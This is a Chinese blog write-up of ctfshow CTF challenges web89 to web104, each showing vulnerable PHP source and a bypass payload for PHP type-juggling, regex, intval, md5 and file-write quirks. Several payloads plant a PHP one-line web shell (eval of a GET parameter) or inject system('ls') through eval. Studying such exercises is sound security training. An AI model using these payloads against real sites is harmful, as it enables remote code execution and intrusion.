web89

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 15:38:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

get参数num 检查num中是否有数字有的话die file 可以注意到intval不能用于object否则会产生错误返回1 成功时返回 var 的 integer 值，失败时返回 0。空的 array 返回 0，非空的 array 返回 1。 file payload ?num[]=1

web90

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:06:11
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

file file payload

?num=4476a
?num=0x117c
?num=010574

十六进制和八进制

web91

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:16:09
# @link: https://ctfer.com

*/

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

/i  表示匹配的时候不区分大小写

/m 表示多行匹配，什么是多行匹配呢？就是匹配换行符两端的潜在匹配。影响正则中的^$符号

payload ?cmd=%0aphp

web92

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:29:30
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

intval()函数如果$base为0则$var中存在字母的话遇到字母就停止读取 但是e这个字母比较特殊，可以在PHP中不是科学计数法。所以为了绕过前面的==4476我们就可以构造 4476e123 其实不需要是e其他的字母也可以

和web90一样 ?num=010574

web93

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:32:58
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

多了过滤字母 ?num=010574

web94

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:46:19
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

file strpos()绕过可以在前边多加一个字符

对于strpos()函数，我们可以利用换行进行绕过（%0a）

payload:?num=%0a010574

也可以小数点绕过

payload：?num=4476.0

因为intval()函数只读取整数部分

还可以八进制绕过(%20是空格的url编码形式)

payload：?num=%20010576

web95

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:53:59
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

?num=%20010576

?num=+010574

web96

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 19:21:24
# @link: https://ctfer.com

*/

highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }

}

只要payload不等于flag.php ?u=/var/www/html/flag.php ?u=./flag.php ?u=php://filter/resource=flag.php

web97

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 19:36:32
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

md5()函数无法处理数组，如果传入的为数组，会返回NULL，所以两个数组经过加密后得到的都是NULL,也就是强相等的 payload: a[]=1&b[]=2 md5强碰撞 a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2 a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

web98

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 21:39:27
# @link: https://ctfer.com

*/

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?>

如果存在GET请求则将POST覆盖掉GET 否则更改为flag 随便传一个get请求值 GET ?a=1 POST HTTP_FLAG=flag

web99

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 22:36:12
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

?>

in_array延用了php中的==
具体内容可以查看php手册->附录->PHP类型比较表

file 弱类型比较这里使用n=1.php 因为1出现的频率较高 file 写入了一句话木马 GET ?n=1.php POST content=<?php eval($_GET['ra']);?>

web100

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-21 22:10:28
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
}
?>

file

<?php
$a=true and false and false;
var_dump($a);  返回true

$a=true && false && false;
var_dump($a);  返回false

让v1为数字提示flag在class ctfshow file 注意v2和v3 v2不能有； v3必须有 payload： ?v1=1&v2=var_dump($ctfshow)&v3=; 其他payload

v1=1&v2=?><?php echo `ls`?>&v3=;
v1=1&v2=-system('ls')-&v3=-1;
v1=1&v2=echo&v3=;system('ls');

web101

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-22 00:26:48
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\\/\~\`\!\@\#\\$\%\^\*\)\-\_\+\=\{\[\"\'\,\.\;\?[0-9]/", $v2)){
        if(!preg_match("/\\\\\/\~\`\!\@\#\\$\%\^\*\(\-\_\+\=\{\[\"\'\,\.\?[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }

}

?>

payload ?v1=1&v2=echo new ReflectionClass&v3=;

web102

<?php

/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-23 20:59:43

*/

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}

?>

file

payload

GET
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-
decode/resource=2.php
POST
v1=hex2bin

web103

<?php

/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-23 21:03:24

*/

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }
}
else{
    die('hacker');
}

?>

payload

GET
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-
decode/resource=2.php
POST
v1=hex2bin

web104

<?php

/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 22:27:20

*/

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
}
?>

payload

post：v1=a
get：v2=a

CTF

ctfshow- web入门php特性89-104

http://example.com/2021/02/03/OldBlog/ctf-show-web入门php特性89-150/

作者

Autumn

发布于

2021年2月3日

许可协议

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